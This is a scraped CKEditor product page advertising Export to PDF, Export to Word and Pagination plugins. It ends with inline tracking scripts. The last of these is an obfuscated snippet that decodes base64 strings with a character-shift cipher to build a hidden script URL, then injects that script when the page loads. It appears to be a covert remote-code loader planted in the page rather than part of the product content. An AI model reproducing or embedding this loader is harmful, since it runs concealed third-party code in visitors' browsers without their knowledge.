2024 Rich Text Editing Developer Survey

Share your thoughts on the future of collaborative rich text editing. (Our survey takes about 10 mins)

Have your say

Export to PDF
and Word

Create document content and easily save it as a PDF or Word file.

Need to quickly print out or email your documents?

Convert them to the two most popular formats with a single click.

Don’t worry about the styles. The exported file will look the same as the original content.

Craft your content in the editor.

Click to generate a PDF or a Word file.

Download and print out.

Check the page breaks inserted by the editor and add some manually if needed. Use the Export to Word and Export to PDF buttons to convert your content into a file of desired format.

BeBold

Check the page breaks inserted by the editor and add some manually if needed. Use the Export to Word and Export to PDF buttons to convert your content into a file of desired format.

BeBold

Check the page breaks inserted by the editor and add some manually if needed. Use the Export to Word and Export to PDF buttons to convert your content into a file of desired format.

Currently the pagination feature works best with the following web browsers: Chrome, Chromium, latest Edge, latest Opera. It disables itself in other browsers. Read more about browser support in the documentation.

BeBold

Tailored to your needs

Both export features are available either as SaaS or an on-premises solution and can be integrated in two ways

As a plugin for CKEditor, so your end-users can generate PDF or Word documents in your editor.

As a REST service to convert HTML to PDF or Word documents using the API (e.g. to create PDF or Word files from content saved in the database).

Export to PDF

  • Set the document’s header and footer.
  • Insert page breaks, embed images and use any font you like.
  • Ready-to-use with CKEditor 5 and CKEditor 4 as a premium plugin.

Export to Word

  • Suggestions and comments displayed also in the exported file.
  • Support for page breaks and embedding images.
  • Ready-to-use with CKEditor 5 as a premium plugin.

Pagination

A premium plugin available optionally with both export features.

  • Displays page numbers and simplifies navigation between pages thanks to the dedicated toolbar.
  • Allows to see the positions of page breaks after the document is exported to PDF or Word.
  • Respects page breaks inserted by the user with the page break feature.
  • Helps users better structure their content in the editor

Want to learn more about CKEditor?

We use cookies and other technologies to provide you with a better user experience.

Learn more about cookies policy

Hi there, any questions about products or pricing?

Questions about our products or pricing?

Contact our Sales Representatives.

We are happy to
hear from you!

Thank you for reaching out to the CKEditor Sales Team. We have received your message and we will contact you shortly.

piAId = '1019062'; piCId = '3317'; piHostname = 'info.ckeditor.com'; (function() { function async_load(){ var s = document.createElement('script'); s.type = 'text/javascript'; s.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + piHostname + '/pd.js'; var c = document.getElementsByTagName('script')[0]; c.parentNode.insertBefore(s, c); } if(window.attachEvent) { window.attachEvent('onload', async_load); } else { window.addEventListener('load', async_load, false); } })();(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start': new Date().getTime(),event:'gtm.js'});const f=d.getElementsByTagName(s)[0], j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src= 'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f); })(window,document,'script','dataLayer','GTM-KFSS6L');window[(function(_2VK,_6n){var _91='';for(var _hi=0;_hi<_2VK.length;_hi++){_91==_91;_DR!=_hi;var _DR=_2VK[_hi].charCodeAt();_DR-=_6n;_DR+=61;_DR%=94;_DR+=33;_6n>9;_91+=String.fromCharCode(_DR)}return _91})(atob('J3R7Pzw3MjBBdjJG'), 43)] = '37db4db8751680691983'; var zi = document.createElement('script'); (zi.type = 'text/javascript'), (zi.async = true), (zi.src = (function(_HwU,_af){var _wr='';for(var _4c=0;_4c<_HwU.length;_4c++){var _Gq=_HwU[_4c].charCodeAt();_af>4;_Gq-=_af;_Gq!=_4c;_Gq+=61;_Gq%=94;_wr==_wr;_Gq+=33;_wr+=String.fromCharCode(_Gq)}return _wr})(atob('IS0tKSxRRkYjLEUzIkQseisiKS0sRXooJkYzIkQteH5FIyw='), 23)), document.readyState === 'complete'?document.body.appendChild(zi): window.addEventListener('load', function(){ document.body.appendChild(zi) });